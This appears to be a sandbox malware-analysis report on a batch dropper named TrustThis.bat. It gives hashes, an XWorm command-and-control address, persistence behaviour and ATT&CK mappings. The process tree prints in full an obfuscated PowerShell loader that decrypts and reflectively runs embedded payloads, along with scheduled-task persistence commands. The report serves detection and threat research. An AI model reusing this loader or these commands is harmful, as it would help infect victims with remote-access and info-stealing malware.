Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
08-12-2024 16:40
Static task
static1
Behavioral task
behavioral1
Sample
TrustThis.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
TrustThis.bat
Resource
win10v2004-20241007-en
General
-
Target
TrustThis.bat
-
Size
399KB
-
MD5
85b6801e12b0ee43cf2560af4de44ce5
-
SHA1
243e69b236417be977c73eadfbdfd55325e125b7
-
SHA256
9925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893
-
SHA512
4d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944
-
SSDEEP
6144:pKLt2bMn672f3rrEQW7064pE67o8kYJ9b+OLDG7hg+2Xr2mpB3bcJ4VLuAFsdrTi:pKCMqW3ZW7nPY3b+G4gI0jVLmVi
Malware Config
Extracted
xworm
paris-itself.gl.at.ply.gg:49485
-
Install_directory
%Public%
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/3880-61-0x000001D734520000-0x000001D734536000-memory.dmp family_xworm -
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
-
Rhadamanthys family
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 3484 created 3000 3484 Explorer.EXE 50 -
Xworm family
-
Blocklisted process makes network request 6 IoCs
flow pid Process 18 3880 powershell.exe 26 3880 powershell.exe 40 3880 powershell.exe 43 3880 powershell.exe 48 3880 powershell.exe 49 3880 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 3936 powershell.exe 1664 powershell.exe 3880 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1080 svchost -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Public\\svchost" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3644 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3936 powershell.exe 3936 powershell.exe 1664 powershell.exe 1664 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe 3880 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3936 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeIncreaseQuotaPrivilege 1664 powershell.exe Token: SeSecurityPrivilege 1664 powershell.exe Token: SeTakeOwnershipPrivilege 1664 powershell.exe Token: SeLoadDriverPrivilege 1664 powershell.exe Token: SeSystemProfilePrivilege 1664 powershell.exe Token: SeSystemtimePrivilege 1664 powershell.exe Token: SeProfSingleProcessPrivilege 1664 powershell.exe Token: SeIncBasePriorityPrivilege 1664 powershell.exe Token: SeCreatePagefilePrivilege 1664 powershell.exe Token: SeBackupPrivilege 1664 powershell.exe Token: SeRestorePrivilege 1664 powershell.exe Token: SeShutdownPrivilege 1664 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeSystemEnvironmentPrivilege 1664 powershell.exe Token: SeRemoteShutdownPrivilege 1664 powershell.exe Token: SeUndockPrivilege 1664 powershell.exe Token: SeManageVolumePrivilege 1664 powershell.exe Token: 33 1664 powershell.exe Token: 34 1664 powershell.exe Token: 35 1664 powershell.exe Token: 36 1664 powershell.exe Token: SeIncreaseQuotaPrivilege 1664 powershell.exe Token: SeSecurityPrivilege 1664 powershell.exe Token: SeTakeOwnershipPrivilege 1664 powershell.exe Token: SeLoadDriverPrivilege 1664 powershell.exe Token: SeSystemProfilePrivilege 1664 powershell.exe Token: SeSystemtimePrivilege 1664 powershell.exe Token: SeProfSingleProcessPrivilege 1664 powershell.exe Token: SeIncBasePriorityPrivilege 1664 powershell.exe Token: SeCreatePagefilePrivilege 1664 powershell.exe Token: SeBackupPrivilege 1664 powershell.exe Token: SeRestorePrivilege 1664 powershell.exe Token: SeShutdownPrivilege 1664 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeSystemEnvironmentPrivilege 1664 powershell.exe Token: SeRemoteShutdownPrivilege 1664 powershell.exe Token: SeUndockPrivilege 1664 powershell.exe Token: SeManageVolumePrivilege 1664 powershell.exe Token: 33 1664 powershell.exe Token: 34 1664 powershell.exe Token: 35 1664 powershell.exe Token: 36 1664 powershell.exe Token: SeIncreaseQuotaPrivilege 1664 powershell.exe Token: SeSecurityPrivilege 1664 powershell.exe Token: SeTakeOwnershipPrivilege 1664 powershell.exe Token: SeLoadDriverPrivilege 1664 powershell.exe Token: SeSystemProfilePrivilege 1664 powershell.exe Token: SeSystemtimePrivilege 1664 powershell.exe Token: SeProfSingleProcessPrivilege 1664 powershell.exe Token: SeIncBasePriorityPrivilege 1664 powershell.exe Token: SeCreatePagefilePrivilege 1664 powershell.exe Token: SeBackupPrivilege 1664 powershell.exe Token: SeRestorePrivilege 1664 powershell.exe Token: SeShutdownPrivilege 1664 powershell.exe Token: SeDebugPrivilege 1664 powershell.exe Token: SeSystemEnvironmentPrivilege 1664 powershell.exe Token: SeRemoteShutdownPrivilege 1664 powershell.exe Token: SeUndockPrivilege 1664 powershell.exe Token: SeManageVolumePrivilege 1664 powershell.exe Token: 33 1664 powershell.exe Token: 34 1664 powershell.exe Token: 35 1664 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3880 powershell.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 688 wrote to memory of 3908 688 cmd.exe 83 PID 688 wrote to memory of 3908 688 cmd.exe 83 PID 688 wrote to memory of 3936 688 cmd.exe 84 PID 688 wrote to memory of 3936 688 cmd.exe 84 PID 3936 wrote to memory of 1664 3936 powershell.exe 85 PID 3936 wrote to memory of 1664 3936 powershell.exe 85 PID 3936 wrote to memory of 2388 3936 powershell.exe 88 PID 3936 wrote to memory of 2388 3936 powershell.exe 88 PID 2388 wrote to memory of 5100 2388 WScript.exe 89 PID 2388 wrote to memory of 5100 2388 WScript.exe 89 PID 5100 wrote to memory of 956 5100 cmd.exe 91 PID 5100 wrote to memory of 956 5100 cmd.exe 91 PID 5100 wrote to memory of 3880 5100 cmd.exe 92 PID 5100 wrote to memory of 3880 5100 cmd.exe 92 PID 3880 wrote to memory of 3484 3880 powershell.exe 56 PID 3484 wrote to memory of 1188 3484 Explorer.EXE 93 PID 3484 wrote to memory of 1188 3484 Explorer.EXE 93 PID 3484 wrote to memory of 1188 3484 Explorer.EXE 93 PID 3484 wrote to memory of 1188 3484 Explorer.EXE 93 PID 3880 wrote to memory of 3644 3880 powershell.exe 97 PID 3880 wrote to memory of 3644 3880 powershell.exe 97 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\sihost.exesihost.exe1⤵PID:3000
-
C:\Windows\system32\openwith.exe"C:\Windows\system32\openwith.exe"2⤵PID:1188
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TrustThis.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:688 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Local\Temp\TrustThis.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:3908
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_831_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_831.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1664
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_831.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2388 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_831.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:5100 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('r8/Zl2ecne/3MZcG/uh0q3ioBEhiW/bhw3Tyinq/3G8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nm+LG7aKYHflmvAksVBR6Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ebMMw=New-Object System.IO.MemoryStream(,$param_var); $VCpwn=New-Object System.IO.MemoryStream; $YDZpb=New-Object System.IO.Compression.GZipStream($ebMMw, [IO.Compression.CompressionMode]::Decompress); $YDZpb.CopyTo($VCpwn); $YDZpb.Dispose(); $ebMMw.Dispose(); $VCpwn.Dispose(); $VCpwn.ToArray();}function execute_function($param_var,$param2_var){ $HuWNY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eBYtd=$HuWNY.EntryPoint; $eBYtd.Invoke($null, $param2_var);}$wLVWE = 'C:\Users\Admin\AppData\Roaming\Windows_Log_831.bat';$host.UI.RawUI.WindowTitle = $wLVWE;$eihJj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wLVWE).Split([Environment]::NewLine);foreach ($nbHzB in $eihJj) { if ($nbHzB.StartsWith('MXAFqxvpoGvwnekBuzqK')) { $hSQxh=$nbHzB.Substring(20); break; }}$payloads_var=[string[]]$hSQxh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:956
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost"7⤵
- Scheduled Task/Job: Scheduled Task
PID:3644
-
-
-
-
-
-
-
C:\Users\Public\svchostC:\Users\Public\svchost1⤵
- Executes dropped EXE
PID:1080
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
399KB
MD585b6801e12b0ee43cf2560af4de44ce5
SHA1243e69b236417be977c73eadfbdfd55325e125b7
SHA2569925507f83ab80df2cd03ad5ffd66571adc3eaf60c6bf136240e58ff29e13893
SHA5124d792f91e03b70833b51054053a61fabcb11bfb22eb8d47cb19a5268c9633dd50443557b41a56b8ad18def99ab0b1b8e00a3533fec0e89ff668bd4c3ea28b944
-
Filesize
115B
MD5cf09a700bfb9931222f08229a0ca4821
SHA1c64286075e83cb49c5fee4d781a24d82c3e264e8
SHA25679afc03074b518d9123809f1815707e13f48a02d86ce2d76599a6ad8e1ac228d
SHA512cf5b5c8ae3c707781696df368abe9e18444a6b2f7f810ca3eaacfd36d77ea685c29c72538db1a4cfd438cc28eec91cdd7475ae40bb7f581601dff7527bc320be
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b